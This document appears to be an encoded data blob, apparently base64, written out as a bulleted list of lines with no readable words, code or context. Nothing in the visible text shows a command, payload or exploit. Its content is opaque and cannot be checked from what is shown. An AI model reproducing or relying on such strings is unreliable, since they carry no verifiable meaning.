- y+rP+79/gnzNv7b63f/GP/DP/L9p7eaP/Cv/wF/+e/zvv9f/9S/8g5Rb/Kv/wP/6P/w/fv0/8L/863//
- 1d/4Awrhf+v/+z/48//AX/3lr/4f/69f9g/+T/83hRb/8Z/4f/0ff+H/9ovJ9SlIKv7Hf/Afrf6Xv/aX
- /i/V//k7/4F/4Z/6D/6Dvx/Ftr/wD/wnf//f7y/8Jb+y+iX/29/7f378B/47tOD6f37yB/7n/+Uf+F9V
- v+yP/B//7z/5H/xv/sVf/cf+X39rSaFC9gf+U3/g3/R//B7/wK/4xZTg/V9+l7/5V/wqMm3/129OywiH
- /+Cv/Hv/r//xikD933/m//G//4H/zu/yq69+5v/6L//Pv/kP/BXV/3rxf/6dv8v/+b/8Hv/zH/j7/x9/
- 6P/93/zff/uv/h3/z9/8//7l//fv83/92v/3f/2v/y7/Z/VLabH6//5L/+9/9D/8T64++9UP/sC/8D/8
- P/7M/+vf+v1/+T/5f939Tf+vf+o/p2Xz//vv/QP/s//29/9V//Q/+R8u/6+/Fd7E//h//dnsf1Pm/R/6
- F/+PIwrRfvnvT876v/S7/OJfSWm2X/qn/jf/5v/+xf/13/we/xmFA7/s//5lf+f/9Xf+X3/3n/iTf+D/
- +mf+g7/s//4Vf+T/+Xv9g/8Rha40+f/lx7+A0t7/TfXv/19/xB/4X/ydv5Sik8P/+3+mnNb/9a+S8/ur
- //v/9g/85f/Hl7/H//Hf/YP/96//f/2KP/Dyr/1Vf+v/9Xf833/F//5HXpJG+q/+47/x9yFvmwLc//u/
- /k1Jj/4TtGZD3vF/9gd+9r//iv/rX/4Hf/V/+Ks/+b//h7v/K80Cke2P+Q8Jxu/xS//TB//3//b7/Ip/
- 8P/+g//v//Uf/JX/+9/5H/7SX/HX/oF//V/5f//qf/CX/bn/951/sPjff/X/+c/+3//I//0//3cP/rff
- 5f/+E379P/MP/E/v/nakRf/P//BX/+e/x//13f/zT/wD/5Xqf/9t/6/iH/yvrv43ilV++X/6H/6y3+X/
- +jf/73/xP/xP7/7fn/3S/5OijPnR//6//f6/6i/8A/+P3//3+N/+xe/+g//Vb/p//9q0xvR//Y2UQPhH
- f/9f+bts/9L/8tf/M3+X//sv/T3+zy//zz/7v/5bf///9Y/8P+/93//G3R/8X7/86uDo//xz/69/53/9
- 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
- 8Of9H3/9H/h//d//27/5f/47/+Af+L9X/8fvTwkFyqWc/La0qEP+2//4D/5fvwcp+P/u9/g//k5y6v71
- L8/+2P/z1yPV9H9f/N+0yPh//0+HfyMllf7jv/H//Av/nP/7/3jwi//2/+MP/7//mT/wV7/d/jf/73/m
- 3yA/9f96/Yv/wV/2T/6bfyu1oBTeH/jf/0f/9//xh/4d/9f/+G/+h3/3//7v/4v/96/6B/+bf/8f/z//
- 7//rv/rX/8l/8F/9D/9O8m7+5n/wv/ob//fm//7L/+m/9b/+B3/5vT/wf/kP/9f/k7T1D/73v/CX/i//
- 4v9NS2Z/4f/+P/4f//of+Qf+Q3D3/1Dyn37V7/L7/V9/6h/4H//jv8f/8pv+39O/8Jf+8qt/4O+5+pV3
- aZn2v//9/1NKQP3i//O/+L//7f/w+//Xf3FFS6kUI/+H//d/9x/+D7//r/pr/5X/+1f96v/7V/+BpER/
- W3I/vvzX/sTf5f/4o//vf6b6P3/9//P3+wP/e8qR/Ze0UP5//p3/11/6J/7ffz6liP9CotJ/9mf+gf/V
- n1//yn/wV/2h/9e/Wf3f/+wf+/v/71d/4P9OLHzxf//L/+D/9BfSitK/9H//H7/y9/jffv1/4Ff8i//n
- 7u/R/E9/LmWg/9X/8f/8C//5/+u//L//Kwq+yPf7j/+rP/ZnfvUf+H/++v/Xn/0f/ur/8X/7M3/pf/8X
- /h9/83/3p/7+/8uf+gf+1//33/x//cO/x6/6d0mx/29/6C/9n/71//F//nv/r7/xD/zV/+Mv/3PJwfyV
- f+Ov+HP/rxd/4D/zN/5fv+z//sf+w//yN/1VZFh+l3/3H/wvKC/82/7fD//B/+bB//6Xf/l///n//X/x
- q/7B//1X//6/lMT9z/wH/6Or//0f/AN/1b/w8f/9T/7yf/hv/N9/wz/xH/i/H/yBf+//+R/SWvl/8+BX
- r/+vP+z3/1X/7v/5g//7H/4ff/Arf///c/35P/gv/y5/63f+gsf/x4P/+1f8gf/9f0zR52f/92ck0//g
- f/k//m807t/0F/y2v/L//iP+w//ku//Hv/AP/uP/7F//L/5f//Ldf+If/I+/pAXS//vi9/8//sJ/8L/8
- D//PP/b3+Pv/t1/7//7r/8P/vvrf//7/+1/9Pf6LB//3+g/8+3+P/+Y3/d/+x1/6q3//X/ng//rD/8P/
- q/ql//L/8i/+6t/4//7Vv///9A/+38TGv8v/8TO//L/9P/9dWjW9+j8P/v1f9e//3/8V6cl////+vf6K
- //H/+p/+w1/2H/2dv+q//79+2X/4Pz34c77/f/wZxIW/6vf6pf/h5//gf/e7/G9/6P/1V/yHv+L3/99n
- v+LP/L9+QGvE//kv/x9/1V9OgvyrfzXlMv7t/3HvV/2h/+Cv+HP/7//2V9J65v/9Kz/+v//hqibnZv2v
- /B7/9+9Cefe/g5b+/9l/kKzS//wH/vf/4//26//SX/EP/m3/x5//N/7f//vv8av+zP/r+A/81b/Hr/wX
- /8T/+8/7B//r/+T//qW//G/8P4//wf+mokXEX/Z//7d/4f/+d/7Sf5Di3V/6KynU+6X/6z/+n/6Hv4Lc
- 79/j//4VtCr/H/2Df8H/9ek/+C//y//h//Tv/p//8+H//b+TBv0/D//vf+jLX/pf/qu/x3/zz/4e//X/
- 9rsQ0f/t3/+XXZHn/lf9h//3f3/3//r+//1n/4P/w3/4f/8e/+BV+7//Hv/Xm1/1d/5+//c/9u//jX/K
- 7/8//+L/+9/9/R//X//8//33/t//w5/4f/z+v/Qf/he+/L9+8v/+F/7vX/Qr/8Nf/Q/+33/a//Ir/sf/
- 6V8lz/ZP/N//l+/9Hv/b2//7P/kD/4t/8/+4/3//8r+Qoqp/7W/8Tf6vf/w//F9+W+Kx//4f/D//wv/7
- N/lVv////J/+67/yl/5Pf+//tf0PkmX8lf/nL/sH/5P/8H//F//Av/Q//O9+j1/1i8f/19/7v/61//vV
- w1/9H/6Bv/rBP/gf/oG/gl76+Jf+tb/Hf333W//3X/MH/ne//6/+xf/3H/l//6d/Jy0S/PPVr/jF/97/
- Tcz+P1IM90/8h7/sf/j9/73/69f+pf/Td/+P3/QP/Cf/x3fElGSO/87/7b/8v/8+6vj//o9/j//ji/+L
- Vijv/pL//e2//n//clrT+Q9+9a/4v/6hP/C/IVvx9//f/8N/uPhvf9v/64t/8D/4D3/Vr/9//aN/4fLL
- //vfpLTx//4rfum//6//d//jr/4NiSi/4j+v/o+3/+cf+x/+6t+SltD+z7/x//gff49f/d/+X//D7/8/
- /5k0C//X7/IrP/8/vqKl1F/1L/6H//T/+n//kX/n//0//42/8n/8Pxf/9//+r1Ka/P/47A/8E/9pQvVf
- /KV/7H/43/6LtFr8p/3+/8v/+H/+o1f/99/xN/5ff/Dv8V9d/e/V5//g//yf/Zv/F5n4r/7v/+Zv/N//
- w//iT/0P/8ff5f/6e3/p//h7/J+/z//5H/2d/9efTzHi//HgX/gT/sC/9Hf53s/8t3d/9S/+pf/F1f/5
- y/6vv/o/PPi9/q//8/f4b//GX/33kv/xn/3n1f/y5/4ev/qP/6V/5c9QSPpP/OdX/9d//x/+N9X/Of1d
- /o8/4bt/4L/1e9z71f/g//Wf/4O/6n/833/x//Un/+9/5f/9x/0nvymlFv8BynP/3X/OH0jB3j/3B/6K
- j/+Pxb97l0LD//kf/gf/589J0/6j/yHlCX/V3/hL/8Y/8H/9TX/1J3/gL/v3f4//+lf+33/lH/jn0hrZ
- /3nxf5MJOCRfbed//3f/wH/99/jz/++j//BXf/kn/B1/4H9Cxh2c+it/1a/8bSh59X/8gf/Xv/L7E5S/
- +8v/69/88v/65/7D//6f/A9+6f9895f+3b/yr/w/v/9/v/y/fjVxyP/1P/7Kv/L//vIP/J9+/1/2X/yJ
- //tv/Df83//1f/gr/s3/rfm//6Tf43///f/3f/r3+Kv+r7f/19/wB/63v+3//U/+g7/qD/w/f9v/429p
- //dPfum/Tgnr//PP/r/n/+tv+n/9hbSA8n98/n/+xJ/6e/wPv8uv/mv/RvJH/q//6/f41b/yZ37V68//
- wH+IXKn/+7+lxM0v//L/+BX/4D9N2ur/rij7Qfrrr/0//8P/7Op/+/iX/sr/8D+vyGn7o/7B/wUu3t/6
- H/7yP/BXT/+vv+LzP/A/rX7F3/l//6L/+1/9A//Pf5f84X/3P/w//tu/71ct/oL/4++nxdY/lyKj/+H3
- /9//z//l9/+/fmNyYf7P//Kv+wP/+r/zD/xlX/5fP04f/29f/sz/9Tv+35//gf83BWX/569P8fGf9bf9
- 0//hL7v7f/6u/+Cv+N9/j5/53/5aSt2uf/m//Tf+m//X//jf/4f/63/+2/6B//7v8cv/RFof/tv/z3/3
- 4vf4FX/n//Hf/N//3a98/Kv/xV/6n/6F/9tv+gv/x//r//j8D/zX7v6f//wf+H/+gb/qd3n0D/xvf/n/
- /a//Hr/87/y//8g/8D/6Hykfd/b3/t//xB/4K//O/6v6B//F34dWF/+KP/Cf/Qt/8mcu/6z/49HV//Xn
- EWX+3L/9N6X3/rN/c/yT//cv/2W/+g/8v3+XN49/6f/2y0mL/cf/IInP3/s///7/6+f/GmXTmv+y+r8+
- +b/+yP97/n/9R//i//Hr/x7/9+//B/6l/+36f/0H/48/5S/9F3/p5H/+Hcln+6/+zv/j4v/6i//D//ov
- /N/+yz/wj/8D//u/81eTwfkH/8vf9N/+v37FL/2//8G//ff7P/78v/U//E9/j//9N/xfSS38d//hb49s
- A+V0fvX/cfTr/4P/5N/4v//txHH/2X/93/2N/8fVH/h///7/61/4f/9H/+b//RtTZvP/uPo//tB/gJJi
- /+D/dvW//aH/93/83/8e/+vfSEmc/+C//Q8v/wFyye783//Or/y//9X//T+q/t3/+2/+A3/lX/i///j/
- /d9++fv9n+Qh/4l/4P/xL/5f/8jv8V/8/v/nv/t//+P/4f/6V/6B/+Wv/gP//f/7H/hlv+H//Q9TQvgz
- AvEf/YH/7b/49//q//FPJ2/pf/kvf8kv//IxTee/+vv/nx//n7/wH/wnftl/dvWr/85/8O87+D//wT/w
- T/wD/6M/8X//Df+vv/tfv/q//9z/+7/7F//Pf5HW4f9PwvDoV/+5//cf/X//F//xf/h//LX/7Z/4f//X
- /+B//N/93//XP/0Xvvs/q9/qz6SU6//5O/7Sf/QfJIn8b8k3/T/O/8D//ff/P99+/z/7W3+P/+73/9//
- 3f/7P/1r/8D/mhITb/+v8e/xf/6z/9ef85+Sk/K//dd/4P/2J/7fvyFx73/85b/3v/+z5xTp/fLp3/h/
- //Lfg3IxD/6vP/Mv/L8e/A+kPf+bqv5f/83/6x/9v/+Ff/H/eP2P/48UP/6qv5Oclf/x9/g/fskv/U/+
- yV/6H/7+v/rv/L8/+aX/9+/x3/7nv+I/+G9/2z/wV/2D/9vv/39Xf+C/8Wf+/v/Xr/6//5Pfn/Tz9//A
- f/8/+AN/2XfJlf0L/s7/+z/6Pf637/1rf+Pv8n99/m//8n/3H/zvvvzf/rt/83/78V9KS2V/MiXf/6/f
- /w/8V//A/+Z/Ix+eYp3/I/8v/+///Wd+xX81+x//wv/jv/v3v/w//8nf4//6a69+j7N/4z/8v3/86v/+
- M//v/+U//D+/+L//xz/w8a/6D34Xco7/4z/wV1b/9yUtQBf/IQ3nj/vvfuX/9a/S0uL/9g/+X3/+BTHd
- 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
- f/+dRw9pBfaP/yP/7//9n/wD/+ff43/5Df/v//r3oFiu+V3+j//5H/yf/szf7//8U//B//T/fvcrvvt/
- /wX/4y/943+P//5v/NX/7uX/9R//HjRv9/6vv/b3+NX/wT/4f375f/8pf+H/9Zf+0l9dkWn8v/7+/+s/
- /pf/wl/+F/6SX/H5//Un/Jv/4D/8v/yP/zetA/0P//ev+J+rX/kv0zrG//1L/+/V//5fVVu///9R/R7v
- /q8Hv9P/9Zf8/tcUS/+7v8ev+C9/j//t//xrKDb6pf/Xf/h//rt/4D/+F/7f/9nv8n/9kf/Xv/d//8c/
- 8T//i7+ANOu/VtFyy2/4f/+Xvwut8f7RlKv8P37yD/zn/o2/8Fd//tn/+U/+A//3f/Qn0urB//Z/j36f
- /+Mvvvq//sk/kRZa/5u71zWtR35Bib3/7c/9Bf/nb/tP/t//6f/9Sz77P/+F34Xk+d//A//73+V/+g9/
- 5v/+Pf6u7z7+3//OP+GX/or/8H/BEsQ/TQs6lHj7X/7h6v/4vX7pH/9//++/6P/6M/+v/+EP/E9+j7/3
- /6SV53/wb/zyD/zH/8Nf8Zv+37/9r/o9fsVv+Nv+gf/uP/in/l8/+a//hb/qu//nP/nxf/6rfo//9e/9
- P/6c3+NX/Yv/xy/6v/+p//CX/fr/4/+9/Af/1b/wf//9/zlivYv/87f9P/+M//s/q/7AX/EP/o//53/6
- D/6jv8u7//1P/QP/0b/wf/kv/8+/9R/8L/7vn/yl/2X1S37Vb/hf/IP/9D9Y/x//5v/5n/2ftOr3q1//
- gf/3f/gfk8b9pf/T1e//O/1fv/8/+O9e/V9/5h/4K/5DsmiURJn+0r//D/0D/6JfRTmu6ld9+TP/6+94
- 9Pf/X3/zH/hf/Iu/avuX/id3//e7v+w//M9+j1/1R/+B//f/eP3LDv/vX/67/O//x5/4f33xJ/xf/8H/
- /TP/8x9JTPtv/4eUVP4lf+B///v/6v/2l/zfv/JXffGn/oG/8m/8v/7yP/A/+wt/5b/5f/3zf+C/8H//
- in/97q/6/OIf/GX/6e9PZvsX/19/xv/9v/ymf+D/9V/9yv/t5P/+K/7TP/C/+G3/70//yL/y//7v/43/
- 8Vf9gf/HX/Fn/qZ/4L/5e/z3/+b/8e/+X//5f/gr/8b//d/8v/++X/a7/OrfhYzO//i7/O+/4if/wv/r
